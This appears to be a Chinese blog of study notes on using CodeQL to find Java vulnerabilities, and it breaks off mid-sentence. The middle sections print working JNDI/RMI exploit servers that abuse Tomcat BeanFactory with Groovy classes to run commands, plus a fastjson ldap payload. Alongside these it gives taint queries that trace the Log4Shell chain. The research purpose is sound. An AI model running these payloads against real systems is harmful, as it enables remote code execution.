codeql for java学习笔记
杂项&&问题解决
开导
codeql database create codeql/micro-service-seclab-database --language=java --command="mvn clean install --file pom.xml" --source-root=C:\Users\xxxxx\workspeace\micro_service_seclab-master
CodeQL三大核心模块:
- DataFlow模块:主要常用的就是taintedTracking和hasflow,flowto
- Smtm模块:常用于ast分析,就是ifStmt,TryStmt之类的代码分支
- Expr模块:最常用,例如MethodAccess,Method,call,callable,ClassInstanceExpr之类的一大堆类也是常用的,在定义sink 、source之类的必须要用到
CodeQL 数据库创建原理分析
原文地址:https://paper.seebug.org/1921/
在javac
编译目标代码时,通过Extractor
与其进行交互。Extractor
会根据每一个java
文件的内容生成一个trap
文件,后续再根据trap
文件生成实际的数据库。同时它会将处理的每一个java
文件拷贝一份保存在数据中,便于后续展示查询结果时能看到代码的上下文。
Linux下codeql启动脚本:
#!/bin/sh
set -e
error() {
echo "$@" 1>&2
exit 3 # SubcommandCommon.EXITCODE_LAUNCHERFAILURE
}
pwdExtraArg=
if [ -z "$CODEQL_PLATFORM" ] ; then
case "$(uname -s)" in
*Linux*)
CODEQL_PLATFORM=linux64
;;
*Darwin*)
CODEQL_PLATFORM=osx64
;;
*MINGW* | MSYS*)
CODEQL_PLATFORM=win64
pwdExtraArg=-W
;;
*)
error "Unknown operating system '$(uname -s)' (full uname: $(uname -a)."
esac
fi
if [ ! -z "$CODEQL_DIST" ] && \
[ -f "$CODEQL_DIST/codeql" ] && \
[ -f "$CODEQL_DIST/tools/codeql.jar" ] ; then
: # This existing value looks trustworthy, probably computed by an enclosing
# instance of ourselves -- so don't bother with (expensive?) searching from $0.
else
# Follow links from $0 until we find one that looks right.
# (This way, users' own symlinks from their path into a dist will work,
# but a symlink farm replicating the dist will also work).
launcher="$0"
dirname="$(dirname "$launcher")"
while [ ! -f "$dirname/tools/codeql.jar" ] ; do
if [ ! -L "$launcher" ] ; then
error "It does not look like $launcher is located in a CodeQL distribution directory."
fi
target="$(readlink "$launcher")"
case "$target" in
/*) launcher="$target" ;;
*) launcher="$dirname/$target" ;;
esac
dirname="$(dirname "$launcher")";
done
CODEQL_DIST="$(cd "$dirname" ; pwd $pwdExtraArg)"
fi
# Check if we're writing to a terminal
if [ -t 2 ] ; then export CODEQL_ISATTY=stderr ; else unset CODEQL_ISATTY ; fi
export CODEQL_DIST
export CODEQL_PLATFORM
if [ "$CODEQL_PLATFORM" = "osx64" ]; then
# On macOS we need to run outside the Downloads directory, and ensure that
# we have cleared all tools from quarantine.
downloads="$HOME/Downloads"
if [ "x${CODEQL_DIST#$downloads}" != "x$CODEQL_DIST" ]; then
error "\
Cannot run CodeQL from within Downloads directory, because of security
restrictions placed on that directory. Please move the CodeQL distribution
to a location outside the Downloads directory tree.
CodeQL distribution: ${CODEQL_DIST}
Downloads directory: ${downloads}"
fi
if [ -w "${CODEQL_DIST}" -a -w "${CODEQL_DIST}/codeql" ]; then
if [ -f /usr/bin/xattr ]; then
# If /usr/bin/xattr exists, we know that's the default version of xattr
# that Mac OS bundles rather than a GNU one. This is what we want, so
# use that.
XATTR_PATH=/usr/bin/xattr
else
# There's nothing at /usr/bin/xattr. This is strange, but let's continue
# anyway and use whatever we find on the PATH, hoping it's a Mac OS
# version too. This ensures forward compatibility with a future Mac OS
# that moves where xattr is located.
XATTR_PATH=xattr
fi
# Similarly, use /usr/bin/find and /usr/bin/xargs, which also differ sufficiently
# between the BSD and GNU implementations to break our usage here:
if [ -f /usr/bin/find ]; then
FIND_PATH=/usr/bin/find
else
FIND_PATH=find
fi
if [ -f /usr/bin/xargs ]; then
XARGS_PATH=/usr/bin/xargs
else
XARGS_PATH=xargs
fi
"$FIND_PATH" "${CODEQL_DIST}" "(" -path "*/osx64/*" -o -path "*/macos/*" ")" -a \
"(" -perm -100 -o -perm -10 -o -perm -1 -o -name "*.dll" ")" -a \
"!" -type d -a -xattr -print0 | "$XARGS_PATH" -0 -- "$XATTR_PATH" -c
"$XATTR_PATH" -c "${CODEQL_DIST}/codeql"
chmod a-w "${CODEQL_DIST}/codeql"
fi
fi
jvmArgs=""
takeNext=false
for arg in "$@" ; do
if $takeNext && [ "x$arg" != "x--" ] ; then
jvmArgs="$jvmArgs $arg"
takeNext=false
else
case "$arg" in
-J) takeNext=true ;;
-J=*) jvmArgs="$jvmArgs ${arg#-J=}" ;;
-J*) jvmArgs="$jvmArgs ${arg#-J}" ;;
--) break ;;
esac
fi
done
arch="$(uname -m)"
if [ "$CODEQL_PLATFORM" = "osx64" ] && [ "$arch" = "arm64" ]; then
: ${CODEQL_JAVA_HOME:=$CODEQL_DIST/tools/$CODEQL_PLATFORM/java-aarch64}
else
: ${CODEQL_JAVA_HOME:=$CODEQL_DIST/tools/$CODEQL_PLATFORM/java}
fi
exec "${CODEQL_JAVA_HOME}/bin/java" \
$jvmArgs \
--add-modules jdk.unsupported \
-cp "$CODEQL_DIST/tools/codeql.jar" \
"com.semmle.cli2.CodeQL" "$@"
设置环境变量CODEQL_PLATFORM
,CODEQL_JAVA_HOME
和CODEQL_DIST
后,执行codeql.jar
在codeql\codeql\java\tools
目录下:
可以看到一些jar
包和脚本,以及配置文件codeql-extractor.yml
。codeql-java-agent.jar
为agent
,在整个编译期开始前注入jvm
中并用于执行extractor
操作
整个Extractor
的工作流程
- 根据
javac
配置文件创建javac compiler
对象 javac
对源码一次进行预处理- 根据前一步出的处理结果,构造
trap
文件
据的构建过程中,codeql
并不需要完整的去编译源代码,只是借助javac
从源码中那拿点东西。其次,只要能够根据源码文件构造正确的javac.args
,就可以生成trap
文件了。之后再通过codeql database finalize
即可得到一个数据库。
如何对类进行限制
内含源码和已经生成好的ql数据库,直接导入即可。
RefType
getACallable() 获取所有可以调用方法(其中包括构造方法)
getAMember() 获取所有成员,其中包括调用方法,字段和内部类这些
getAField() 获取所有字段
getAMethod() 获取所有方法
getASupertype() 获取父类
getAnAncestor() 获取所有的父类相当于递归的getASupertype*()
RefType
包含了我们在Java里面使用到的Class
,Interface
的声明,比如我们现在需要查询一个类名为XStreamHandler
的类,但是我们不确定他是Class
还是Interface
,我们就可以通过 RefType
定义变量后进行查询
import java
from RefType c
where c.hasName("XStreamHandler")
select c
Callable
在CodeQL中,Java的方法限制,我们可以使用Callable
,Callable
的父类是 Method
和 Constructor
Callable
常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html
polyCalls(Callable target) 一个Callable 是否调用了另外的Callable,这里面包含了类似虚函数的调用
hasName(name) 可以对方法名进行限制
结合RefType
寻找XStreamHandler
类/接口中定义的fromObject
方法:
import java
from RefType c, Callable cf
where
c.hasName("XStreamHandler") and
cf.hasName("fromObject") and
cf = c.getACallable()
select c, cf
call
之前的Callable
是寻找类的定义/构造方法,对于方法的调用,我们可以用call
来实现。call
的父类包括MethodAccess
, ClassInstanceExpression
, ThisConstructorInvocationStmt
和 SuperConstructorInvocationStmt
Call
中常使用的谓词:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html
getCallee() 返回函数声明的位置
getCaller() 返回调用这个函数的函数位置
我们需要查询哪些地方调用了XStream.fromXML
,可以这样构建ql语句:
import java
from MethodAccess c, Callable cb
where
cb.hasName("fromXML") and
cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
c.getMethod() = cb
select c
codeql with JNDI RMI
reference:https://tttang.com/archive/1405/
本文下测试环境为jdk1.8.0_333
之前写过相关的文章,这里只聚焦于突破高版本对于JNDI注入的限制。我们整理一下能利用的类需要满足的条件:
- 此类有public修饰的无参构造方法
- 此类有public修饰的包含sink方法,其参数只有一个String型
根据两个条件我们来构造ql查询语句:
看起来不是很难。我们尝试构造一下:
import java
class UsableClass extends RefType {
UsableClass() {
this.getAConstructor().hasNoParameters()
and this.getAConstructor().isPublic()
}
}
class UsableMethod extends Method {
UsableMethod() {
this.getNumberOfParameters() = 1
and this.getAParamType().hasName("String")
and this.isPublic()
}
}
from UsableMethod me, UsableClass cla
where
me.getDeclaringType() = cla
select cla,me
找到的可利用点:
groovy
RCE:addClasspath&&loadClass
RCE:execute
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(6666);
ResourceRef resourceRef = new ResourceRef("org.codehaus.groovy.runtime.ProcessGroovyMethods", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=execute"));
resourceRef.add(new StringRefAddr("m1yuu","calc"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
RCE:me
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(6666);
ResourceRef resourceRef = new ResourceRef("groovy.util.Eval", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=me"));
resourceRef.add(new StringRefAddr("m1yuu","\"calc\".execute()"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
这个方法名如此人畜无害,单从方法名来看很难联想到能RCE。我们调试一下:
进入Eval#me
中,此时该方法仅有的String参数为我们传入的"calc.execute()"
调用下面的me
,将前两个参数置为null
,实例化一个GroovyShell
–>sh
,进入sh.evaluate
中
接着跟入sh.evaluate
:
一系列调用后指定codeBase
为/groovy/shell
,包装好后实例化为gcs
跟入this.evaluate(gcs)
:
parse
方法处理后调用script.run();
运行groovy脚本。最终也是走到了execute
,也就是之前提过的利用方式。
RCE:parse
在这里会调用parseClass
,所以poc和parseClass
利用一样。之前几步的处理过程很好理解此处就不多水字了。
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(6666);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=parse"));
resourceRef.add(new StringRefAddr("m1yuu","@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"calc\")\n})\ndef m1yuu\n"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
RCE:parseClass
这个网上很多文章都提到了,就不再赘述。
URL探测:getText
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(6666);
ResourceRef resourceRef = new ResourceRef("groovy.ui.GroovyMain", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=getText"));
resourceRef.add(new StringRefAddr("m1yuu","http://127.0.0.1:8000"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
用python起个简易httpserver:
MVEL
RCE:exec
此处利用点浅蓝师傅已经找到了,这里复现一下:
传入的command
参数是我们可控的点,这里处理完换行之后赋值给c
,this.inBuffer.append(c)
将c压入inBuffer
中,执行_exec()
,跟入:
处理inBuffer
内容,以空格分离为数组之后将后面的参数赋值给passParameters
,调用((Command)this.commands.get(inTokens[0])).execute(this, passParameters);
,我们继续跟入execute
,走到MVEL.eval
,这里new一个MVELInterpretedRuntime
,调用parse
方法:
接着调用parseAndExecuteInterpreted
,走到getReducedValue
中发现调用了PropertyAccessor#get
,走到这里调用链就比较清晰了。最后在getMethod
方法中触发:
BSH
没啥意义的RCE:
这个只能加载本地的恶意类,所以没啥意义。
RCE:eval
这个利用方式已经被藏青@雁行安全团队找出来了。
SAXReader
URL探测:read
并没有找到可以rce的点,不过其中的read方法可控,可以做url探测:
poc:
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class HighRMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef resourceRef = new ResourceRef("org.dom4j.io.SAXReader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "m1yuu=read"));
resourceRef.add(new StringRefAddr("m1yuu","seturl"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("calc", referenceWrapper);
}
}
因为控制的是read
方法,各种尝试之后也没能打到XML解析(太菜了),只能做个URL探测玩玩。
jdk 原生
fastjson with codeql
此漏洞的sink是jndi注入点,所以我们需要找到调用了lookup方法的地方。同时,fastjson漏洞的利用方式是控制getter或者setter。那么我们的限制条件就如下:
- 调用了lookup方法
- 在getter或者setter的递归中满足上条件
构造ql语句:
import java
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"
我们可以去https://lgtm.com进行在线查询。先在线导入mybatis-3:
箭头处添加github链接,即可导入到自己的项目列表中
在线查询结果中存在大家都知道的fastjson 1.2.45黑名单绕过思路
payload:
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
我们先对语句进行分析。
0x00
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
这里是尝试定位到jndi
注入的触发点javax.naming#lookup
,并且需要是Context
实例化对象进行lookup
方法操作。
定义继承Call
的LookupMethod
类来进行实现。在上面我们提到,getCallee()
返回函数声明的位置,指定方法名lookup
;使用getASupertype()
指向其所有父类,再使用hasQualifiedName("javax.naming", "Context")
准确限制import
中存在import javax.naming.Context;
。
单独实现此类使用ql查询,可获得所有能触发jndi
注入的lookup
方法。
0x01
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
实现继承Callable
的GetterCallable
类,用于查找所有的getter和setter使用hasNoParameters()
限制getter无参,使用getNumberOfParameters()
限制setter参数只有一个,使其符合fastjson漏洞的触发条件。
单独实现,获取所有符合条件的setter和getter:
0x02
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"
主体的查询语句中定义了谓词edges(Callable a, Callable b) { a.polyCalls(b) }
。这里查看的是函数声明的继承关系,如果我们想知道方法A到方法G之间调用端点路径,可以将polyCalls
替换为calls
来实现:
import java
class StartMethod extends Method {
StartMethod() { getName() = "main" }
}
class TargetMethod extends Method {
TargetMethod() { getName() = "vulMain" }
}
query predicate edges(Method a, Method b) { a.calls(b) }
from TargetMethod end, StartMethod entryPoint
where edges+(entryPoint, end)
select end, entryPoint, end, "Found a path from start to target."
事实上调用谓词edges就是构建gadget的过程。
Log4j with codeql
找到了之前分析log4j
的文章,网传log4j
漏洞是在线查出来的sink
点,找到了存在于老版本log4j
的lookup
方法。我们也跟着尝试一下构建ql语言看能不能把漏洞完整分析出来
log4j源码地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.14.1-rc1
codeql环境配置及使用方式请移步站内其他大哥的文章
先贴上调用链
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, logshell (com.yxxx)
find sink
CWE-074
CWE-074
规则之前一直处于试验状态,现在转正过了试用期,变成正式的规则了。
存在于java\ql\src\Security\CWE\CWE-074\JndiInjection.ql
/**
* @name JNDI lookup with user-controlled name
* @description Performing a JNDI lookup with a user-controlled name can lead to the download of an untrusted
* object and to execution of arbitrary code.
* @kind path-problem
* @problem.severity error
* @security-severity 9.8
* @precision high
* @id java/jndi-injection
* @tags security
* external/cwe/cwe-074
*/
import java
import semmle.code.java.security.JndiInjectionQuery
import DataFlow::PathGraph
from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfig conf
where conf.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(),
"this user input"
据说log4j
的sink就是CWE-074
扫出来的。我们观察一下他的源码:
这里使用了定义的source
和sink
,导入DataFlow::PathNode
来检查数据流。source
和sink
的定义在JndiInjectionFlowConfig
中,我们进入查看:
java\ql\lib\semmle\code\java\security\JndiInjectionQuery.qll
class JndiInjectionFlowConfig extends TaintTracking::Configuration {
JndiInjectionFlowConfig() { this = "JndiInjectionFlowConfig" }
override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink }
override predicate isSanitizer(DataFlow::Node node) {
node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType
}
........
先关注漏洞触发点的定义isSink
,使用的是JndiInjectionSink
,继续跟入:
java\ql\lib\semmle\code\java\security\JndiInjection.qll
在此处定义了可以导致jndi注入的相关类及其可触发漏洞的方法
看起来还是比较全面的。我们回去测一下isSink
看能不能找到log4j
漏洞的sink
成功定位到org.apache.logging.log4j.core.net.JndiManager#lookup
自建脚本寻找
如果我们自己写规则去寻找能触发jndi注入的sink
点呢?
这里有个项目:
https://github.dev/SummerSec/LookupInterface
此项目中同样定义了很全的JNDI注入查询规则。我们可以copy下来进行实现:
import java
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
from Call call,Callable parseExpression
where
call.getCallee() = parseExpression and
parseExpression.getDeclaringType() instanceof Context and
parseExpression.hasName("lookup")
select call, parseExpression
此处ql语句很好理解就不多赘述了。结果也是成功定位到lookup
:
find sink
的过程相对简单,难点是向上寻找source
触发和使用gadget
连接sink
和source
。
search gadget
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType{
Logger(){
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
class LoggerInput extends Method {
LoggerInput(){
this.getDeclaringType() instanceof Logger and
this.hasName("error") and this.getNumberOfParameters() = 1
}
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup"
and
ma.getMethod().getDeclaringType() instanceof Context
and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(
LoggerInput loggermethod |
source.asParameter() = loggermethod.getAnUntrustedParameter()
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg)
and
sink.asExpr() = arg
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
在上面的ql查询语句中,我们使用了标准的污点分析结构。定义TainttrackLookup
继承TaintTracking::Configuration
,并且在其中定义isSource
和isSink
,在查询语句中将TainttrackLookup
实例化为config
,定义数据流DataFlow::PathNode source
和DataFlow::PathNode sink
,使用config.hasFlowPath(source, sink)
进行污点追踪,查询数据流是否可以从sink
到source
。结果:
人工排查
这里获得了四个Path,其中三个都走到了java\org\apache\logging\log4j\core\Logger.java
codeql选择了java\org\apache\logging\log4j\core\Logger.java
中对filter
方法的调用来构造gadget。
boolean filter(final Level level, final Marker marker, final Message msg, final Throwable t) {
final Filter filter = config.getFilter();
if (filter != null) {
final Filter.Result r = filter.filter(logger, level, marker, msg, t);
if (r != Filter.Result.NEUTRAL) {
return r == Filter.Result.ACCEPT;
}
}
return level != null && intLevel >= level.intLevel();
}
这里就能体现出静态代码分析的缺陷:对于相对复杂的项目进行分析时,关于条件判断后的代码是否可以进入判断不准确。这里挂一张南京大学《软件分析》课程的ppt(来一起卷https://www.bilibili.com/video/BV1b7411K7P4),对于现阶段的codeql来说,我们希望自己编写的污点分析查询语句中的结果包含我们想要的truth,在这个前提下尽可能缩小结果集合,减轻人工排查的时间成本。
回到vscode中,这个filter
想要进入需要满足Filter
为RegexFilter
。因为我们的目的是寻找完整的log4j调用链,先不去想如何满足这个已知与log4j漏洞无关的条件。于是我们去查看仅剩的那条链:
可以看到,从source
开始直到java\org\apache\logging\log4j\spi\AbstractLogger.java#tryLogMessage
都是准确的调用链,但是在调用log方法的时候出现了跑偏,走到了AbstractLogger#log
。实际动手调过log4j
漏洞的uu们肯定会记得,这里实际上是走到了Logger#log
。这两个类之间一看就是继承关系。想解决这个问题我们可以改一下ql查询语句,将source
设定为Logger#log
修改一下LoggerInput
class Logger2 extends RefType {
Logger2() {
this.hasQualifiedName("org.apache.logging.log4j.core", "Logger")
}
}
class LoggerInput extends Method {
LoggerInput(){
this.getDeclaringType() instanceof Logger2 and
this.hasName("log")
}
Parameter getAnUntrustedParameter() { result = this.getParameter(4) }
}
查询结果中也是有很多path,我们看一下和log4j调用链匹配度最高的:
此时的codeql已经能分析到createEvent
方法。但是继续分析得到的利用链就出现了问题。没有分析成功。在createEvent
方法中,message参数对应的是logEvent
,在对logEvent
进行处理时触发漏洞。我们猜测,codeql并没有将返回的logEvent
作为污点继续分析,所以进行手动连接:
isAdditionalTaintStep
当我们需要将某个污点传递到指定位置从而构造更准确的gadget时,可以override谓词isAdditionalTaintStep
来实现。
分析一下现在的情况:我们需要将ReusableLogEventFactory#createEvent
的第六个参数Message
和LoggerConfig#log
第一个参数logEvent
连接起来。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
//set fromNode
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")
and ma.getMethod().hasName("createEvent")
and fromNode.asExpr()=ma.getArgument(5)
//set toNode
and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")
and ma2.getMethod().hasName("log")
and ma2.getArgument(0).toString()="logEvent"
and toNode.asExpr()=ma2.getArgument(0)
)
}
快速查询可以看到我们的fromNode
和toNode
设置的没有问题
最后结果
完整ql查询语句:
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class Context extends RefType{
Context(){
this.hasQualifiedName("javax.naming", "Context")
or
this.hasQualifiedName("javax.naming", "InitialContext")
or
this.hasQualifiedName("org.springframework.jndi", "JndiCallback")
or
this.hasQualifiedName("org.springframework.jndi", "JndiTemplate")
or
this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate")
or
this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback")
or
this.getQualifiedName().matches("%JndiCallback")
or
this.getQualifiedName().matches("%JndiLocatorDelegate")
or
this.getQualifiedName().matches("%JndiTemplate")
}
}
class Logger extends RefType{
Logger(){
this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger")
}
}
class Logger2 extends RefType {
Logger2() {
this.hasQualifiedName("org.apache.logging.log4j.core", "Logger")
}
}
class LoggerInput extends Method {
LoggerInput(){
this.getDeclaringType() instanceof Logger2 and
this.hasName("log")
}
Parameter getAnUntrustedParameter() { result = this.getParameter(4) }
}
predicate isLookup(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName() = "lookup"
and
ma.getMethod().getDeclaringType() instanceof Context
and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}
override predicate isSource(DataFlow::Node source) {
exists(LoggerInput loggermethod |
source.asParameter() = loggermethod.getAnUntrustedParameter())
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isLookup(arg)
and
sink.asExpr() = arg
)
}
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
//set fromNode
ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory")
and ma.getMethod().hasName("createEvent")
and fromNode.asExpr()=ma.getArgument(5)
//set toNode
and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig")
and ma2.getMethod().hasName("log")
and ma2.getArgument(0).toString()="logEvent"
and toNode.asExpr()=ma2.getArgument(0)
)
}
}
from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
前面的调用链几乎分析地差不多了,但仍存在一个错误:
原调用链的log方法会走到到
